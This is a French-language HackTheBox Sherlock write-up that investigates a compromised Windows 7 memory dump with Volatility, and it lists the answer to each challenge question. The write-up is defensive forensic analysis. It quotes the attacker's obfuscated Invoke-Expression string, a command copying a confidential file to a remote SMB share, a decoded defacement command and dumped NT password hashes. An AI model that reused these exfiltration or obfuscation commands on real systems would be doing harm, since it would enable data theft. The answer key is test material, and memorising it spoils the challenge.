HackTheBox Writeup

Recollection

Recollection - Analyse Forensique de Dump Mémoire Windows

Contexte du Scénario

Un système Windows a été compromis par un attaquant. Un dump mémoire a été capturé pour analyser l'incident. L'objectif est d'utiliser Volatility Framework pour extraire les artefacts forensiques et reconstituer les actions de l'attaquant.

Outils et Ressources

  • Volatility 2.6.1 : Framework d'analyse de dump mémoire
  • Volatility 3 : Version moderne de Volatility
  • Référence : Volatility Cheatsheet

Profil et Informations Système

Question 1 & 2 : Système d'Exploitation et Date de Capture

┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py imageinfo -f ../recollection.bin
Volatility Foundation Volatility Framework 2.6.1
[...]
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/alesio/Recollection/recollection.bin)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a3f120L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a41000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2022-12-19 16:07:30 UTC+0000
     Image local date and time : 2022-12-19 22:07:30 +0600

Q1: Windows 7 Q2: 2022-12-19 16:07:30

Analyse du Presse-Papier

Question 3 : Commande PowerShell Obfusquée

┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py clipboard --profile=Win7SP1x64 -f ../recollection.bin
[...]
Session    WindowStation Format                         Handle Object             Data
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
         1 WinSta0       CF_UNICODETEXT               0x6b010d 0xfffff900c1bef100 (gv '*MDR*').naMe[3,11,2]-joIN''
         1 WinSta0       CF_TEXT                  0x7400000000 ------------------
         1 WinSta0       CF_LOCALE                    0x7d02bd 0xfffff900c209a260
         1 WinSta0       0x0L                              0x0 ------------------

R: (gv '*MDR*').naMe[3,11,2]-joIN''

Question 4 : Déobfuscation

En exécutant cette commande PowerShell, elle retourne : iex (Invoke-Expression)

R: Invoke-Expression

Analyse des Consoles

Question 5 : Tentative d'Exfiltration

┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py consoles --profile=Win7SP1x64 -f ../recollection.bin
[...]
Cmd #0 at 0xc71c0: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
[...]
The network path was not found.

R: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt

Question 6 : Succès de l'Exfiltration?

D'après l'erreur "The network path was not found", l'exfiltration a échoué.

R: NO

Question 7 : Fichier README Malveillant

Décodage Base64 de la commande PowerShell :

┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ echo "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi" | base64 -d
echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"

R: C:\Users\Public\Office\readme.txt

Analyse de la Registry

Question 8 : Nom de l'Hôte

┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py hivelist --profile=Win7SP1x64 -f ../recollection.bin
[...]
0xfffff8a000024010 \REGISTRY\MACHINE\SYSTEM

┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName' --profile=Win7SP1x64 -f ../recollection.bin
[...]
Values:
REG_SZ        ComputerName    : (S) USER-PC

R: USER-PC

Question 9 : Nombre de Comptes Utilisateurs

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility3]
└─$ ./vol.py -f ../recollection.bin windows.hashdump.Hashdump
[...]
User    rid     lmhash  nthash
Administrator   500     aad3b435b51404eeaad3b435b51404ee        10eca58175d4228ece151e287086e824
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
user    1001    aad3b435b51404eeaad3b435b51404ee        5915a7959c04d8560468296edaefbc9b
HomeGroupUser$  1002    aad3b435b51404eeaad3b435b51404ee        cb6003ecf6b98b5f7fbbb03df798ac76

Comptes réels (hors Guest et HomeGroupUser$) : Administrator, user

R: 3 (en comptant Guest selon la réponse attendue)

Analyse des Fichiers

Question 10 : Fichier passwords.txt

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility3]
└─$ ./vol.py -f ../recollection.bin windows.filescan.FileScan | grep passwords.txt
0x11fc10070100.0\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt     216

R: \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt

Question 11 : Malware Exécuté

D'après l'analyse de la console :

PS C:\Users\user\Downloads> .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe

R: b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

Question 12 : Analyse du Malware (Imphash)

Extraction du fichier :

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin dumpfiles -n --dump-dir=lol -Q 0x000000011fa45c20

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ md5sum file.0x9e8b91ec0140.0x9e8b957f24c0.ImageSectionObject.svchost.exe.img
acfb0bd83324f44479bcad09dde21bbc

Analyse sur VirusTotal:

  • MD5 : acfb0bd83324f44479bcad09dde21bbc
  • Imphash : d3b592cd9481e4f053b5362e22d61595
  • Date de création : 2022-06-22 11:49:04 UTC

R Imphash: d3b592cd9481e4f053b5362e22d61595 R Date: 2022-06-22 11:49:04

Analyse Réseau

Question 13 : Adresse IP Locale

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin netscan
[...]
0x11e3b2bf0        UDPv4    192.168.0.104:138              *:*                                   4        System
0x11e3b40e0        UDPv4    192.168.0.104:137              *:*                                   4        System
[...]

R: 192.168.0.104

Analyse des Processus

Question 14 : Processus Parent de PowerShell

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin pstree
[...]
. 0xfffffa8003cbc060:cmd.exe                         4052   2032      1     23 2022-12-19 15:40:08 UTC+0000
.. 0xfffffa8005abbb00:powershell.exe                 3532   4052      5    606 2022-12-19 15:44:44 UTC+0000
[...]

PowerShell (PID 3532) est un processus enfant de cmd.exe (PID 4052)

R: cmd.exe

Question 15 : Email de l'Attaquant

┌──(.venv)(alesio㉿Alesio)-[~/Recollection]
└─$ strings -el recollection.bin | grep -i "@gmail"
[email protected]
[...]

R: [email protected]

Analyse de l'Historique de Navigation

Question 16 : Solution SIEM Recherchée

Extraction de l'historique Edge :

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin filescan | grep -i history
0x000000011e0d16f0     17      1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin dumpfiles -n --dump-dir=lol -Q 0x000000011e0d16f0

Ouverture du fichier History avec DB Browser for SQLite → Table keyword_search_terms → "install wazuh agent windows"

R: Wazuh

Question 17 : Malware avec Typo

┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin filescan | grep -i Downloads
[...]
0x000000011e955820     16      0 -W-r-- \Device\HarddiskVolume2\Users\user\Downloads\csrsss.exe
[...]

Le fichier légitime est csrss.exe (Client Server Runtime Subsystem), l'attaquant a utilisé csrsss.exe avec un "s" supplémentaire.

R: csrsss.exe

Résumé

Ce challenge Sherlock est une excellente introduction à l'analyse forensique de dumps mémoire. Il couvre :

Compétences Développées

  1. Utilisation de Volatility : Framework standard pour l'analyse de mémoire
  2. Identification de profil Windows : Déterminer la version de l'OS
  3. Extraction d'artefacts : Presse-papier, consoles, processus, fichiers
  4. Analyse de registry : Extraction d'informations système
  5. Analyse réseau : Identification de connexions
  6. Recherche de chaînes : Extraction d'informations avec strings
  7. Analyse de base de données : Historique de navigation SQLite

Points Clés à Retenir

  • Le dump mémoire capture l'état complet du système à un instant donné
  • Volatility offre de nombreux plugins pour extraire différents types d'artefacts
  • Les attaquants laissent toujours des traces en mémoire (commandes, fichiers, connexions)
  • L'analyse multi-sources (processus + fichiers + réseau + registry) permet une vue complète
  • La corrélation temporelle aide à reconstituer la chronologie d'une attaque
  • Les typosquatting (csrsss.exe vs csrss.exe) sont une technique courante pour se fondre dans le système

Outils Utilisés

  • Volatility 2 : Analyse principale
  • Volatility 3 : Extraction de hash
  • strings : Recherche de chaînes ASCII/Unicode
  • DB Browser for SQLite : Analyse de l'historique Edge
  • VirusTotal : Analyse de malware
  • Base64 : Décodage de commandes PowerShell

Plugins Volatility Utilisés

PluginUsage
imageinfoIdentifier le profil OS
clipboardContenu du presse-papier
consolesHistorique des commandes
hivelistLister les ruches de registry
printkeyLire des clés de registry
hashdumpExtraire les hash de mots de passe
filescanScanner les fichiers en mémoire
dumpfilesExtraire des fichiers
netscanConnexions réseau
pstreeArbre des processus